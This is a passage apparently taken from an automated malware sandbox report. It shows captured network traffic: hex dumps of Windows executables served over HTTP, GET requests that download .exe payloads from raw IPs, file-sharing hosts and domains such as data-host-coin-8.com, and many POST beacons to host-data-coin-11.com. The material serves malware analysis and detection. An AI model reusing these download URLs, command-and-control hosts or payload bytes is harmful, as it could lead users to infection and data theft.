00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 06 Jan 2022 20:04:53 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Thu, 06 Jan 2022 20:01:17 GMTETag: "8b1e0-5d4ef5555ae03"Accept-Ranges: bytesContent-Length: 569824Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2e 01 00 00 66 08 00 00 00 00 00 00 e0 09 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0b 00 00 04 00 00 c5 d5 08 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 f0 02 00 60 01 00 00 00 00 03 00 00 da 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 64 61 74 61 00 00 00 00 e0 02 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 73 68 61 72 65 64 00 00 10 00 00 00 f0 02 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 da 06 00 00 00 03 00 1c e6 03 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 43 52 54 00 00 00 00 00 80 01 00 00 e0 09 00 11 7d 01 00 00 ee 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.1Date: Thu, 06 Jan 2022 20:05:01 GMTContent-Type: application/x-msdos-programContent-Length: 760832Connection: closeLast-Modified: Sun, 02 Jan 2022 14:19:12 GMTETag: "b9c00-5d49a1695789b"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7a 38 7e 52 3e 59 10 01 3e 59 10 01 3e 59 10 01 20 0b 85 01 2c 59 10 01 20 0b 93 01 46 59 10 01 19 9f 6b 01 3b 59 10 01 3e 59 11 01 80 59 10 01 20 0b 94 01 7e 59 10 01 20 0b 84 01 3f 59 10 01 20 0b 81 01 3f 59 10 01 52 69 63 68 3e 59 10 01 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 2e e4 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 6c 0a 00 00 3c 02 00 00 00 00 00 80 67 08 00 00 10 00 00 00 80 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 48 00 00 04 00 00 65 d4 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 6a 0a 00 3c 00 00 00 00 30 0c 00 b0 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 00 00 23 00 00 40 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 a3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cc 6a 0a 00 00 10 00 00 00 6c 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 68 9a 01 00 00 80 0a 00 00 8c 00 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 6f 68 61 63 00 00 05 00 00 00 00 20 0c 00 00 02 00 00 00 fc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 c9 3b 00 00 30 0c 00 00 5a 00 00 00 fe 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 74 42 00 00 00 00 48 00 00 44 00 00 00 58 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 06 Jan 2022 20:05:04 GMTServer: Apache/2.4.18 (Ubuntu)Last-Modified: Wed, 29 Dec 2021 18:27:40 GMTETag: "9d9d8-5d44d17c6d03f"Accept-Ranges: bytesContent-Length: 645592Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0

Source: global traffic	HTTP traffic detected: GET /32739433.dat?iddqd=1 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.233.81.115
Source: global traffic	HTTP traffic detected: GET /attachments/928021103304134716/928022474753474631/Teemless.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /3eHgQQR HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bit.ly
Source: global traffic	HTTP traffic detected: GET /a/blocked?hash=3eHgQQR&url=https%3A%2F%2Fcdn-131.anonfiles.com%2FP0m5w4j2xc%2Fcac3eb98-1640853984%2F%40Cryptobat9.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: bitly.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://oxviqvl.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wyuwpmdb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 115Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://krdkuoepm.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yepax.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xwusff.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 219Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aekcskegpq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 156Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nmfxjx.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 215Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xtlyehd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 339Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/2184_1641247228_8717.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yhrhfw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 181Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://buaqqkbu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ijkho.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 184Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nyuts.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 174Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytools-foryou-777.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhimfxcko.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npwunyjvy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://otvft.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 253Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kttrtq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 258Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://krbreodla.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 296Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nxisua.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gfqscje.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 341Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kdxudv.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://imdtggchnw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 210Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hcptglaf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wybru.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 169Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lktljxj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 147Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ydngxqywbi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 348Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ebrhhlu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 301Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hdkawsgnd.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 176Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tsiorcl.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aoufhnna.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pbrrrniiwa.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 116Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rxetyrfd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bsslew.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 261Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npjkdtjva.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 361Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /stlr/maps.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 91.243.44.130
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dvqoyx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 141Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yerbk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 317Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vsoqas.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 230Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vejpuk.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 355Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://psonfttwmv.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 357Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/8584_1641133152_551.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
